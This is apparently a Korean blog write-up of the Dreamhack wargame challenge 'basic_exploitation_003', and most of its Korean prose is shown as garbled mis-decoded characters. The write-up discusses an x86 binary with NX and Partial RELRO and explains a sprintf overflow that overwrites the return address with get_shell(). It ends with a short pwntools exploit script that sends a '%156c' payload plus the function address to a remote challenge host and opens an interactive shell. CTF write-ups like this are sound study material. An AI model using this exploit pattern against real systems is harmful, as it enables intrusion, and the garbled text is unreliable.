basic_exploitation_003
๋ฌธ์ ํ์ด
๋ x86..์ด๋ค์ ์ด๊ฑฐ ์ด์ ์ต์ํด์ง๊ฒ ๋ค ์ข๋ค
NX์ Partial RELRO.. ๊ทธ๋ฌ๋ FSB๋ก ํ์ด์ผํ๋ ๋ฌธ์ ๋๊น C์ฝ๋๋ฅผ ๋ณด์๋ฉด
head_buf๊ฐ ์ ์ ํ๊ฒ ret๋ถ๋ถ์ get_shell()์ฃผ์๋ก ๋ณ๊ฒฝํ๋ฉด ๋ ๊ฑฐ ๊ฐ์๋ฐ..
sprintf ๋ ๊ธธ์ด๋ฅผ ๋ฐ๋ก ์ง์ ํ์ง ์๊ธฐ ๋๋ฌธ์ bof๊ฐ ๋ฐ์ํ๋ค.
BOF๋ฌธ์ ์ด์ง๋ง.. ์
๋ ฅํ ์ ์๋ ๊ธ์ง ์๊ฐ read๋ก 0x80์ผ๋ก ์ ํ ๋์ด ์์ต๋๋ค
์ ํฌ๋ 0x90์ ๋๊ฒจ์ผํ๋๋ฐ..
Exploit ์ค๊ณ
ret ์ฃผ์๋ฅผ ํ์ ํ๊ณ %Nc๋ก ret์ get_shell()์ฃผ์๋ฅผ ์ ๋ ฅํ๋ฉด ๋๋๊ฒ ๋ค์
Exploit
stack_buf์ ์ฃผ์๋ sprintf๋ก ๋๋๊น ์์ ๊ฐ์ด ํ์ธ๋ ๋ฉ๋๋ค
heap_buf์ ์ฃผ์๋ read์์ ํ์ธ ํ ์ ์๊ฒ ์ฃ ?
ํ์ํ๊ฑด ๋ค ๊ตฌํ์ผ๋๊น
stack_buf๋ 0x98๋งํผ ๋จ์ด์ ธ์์ผ๋๊น sfp๊น์ง ๋ํด์ ๋ฃ์ด์ฃผ๋ฉด ๋ ๊ฑฐ ๊ฐ๋ค์
1234567891011 from pwn import*p = remote('host3.dreamhack.games', 8790)get_shell = 0x8048669payload = b"%156c" + p32(get_shell)p.sendline(payload)p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Tcache Poisoning (0) | 2022.11.06 |
---|---|
Background: RELRO (0) | 2022.10.31 |
hook (0) | 2022.10.30 |
fho (0) | 2022.10.30 |
basic_rop_x86 (0) | 2022.10.30 |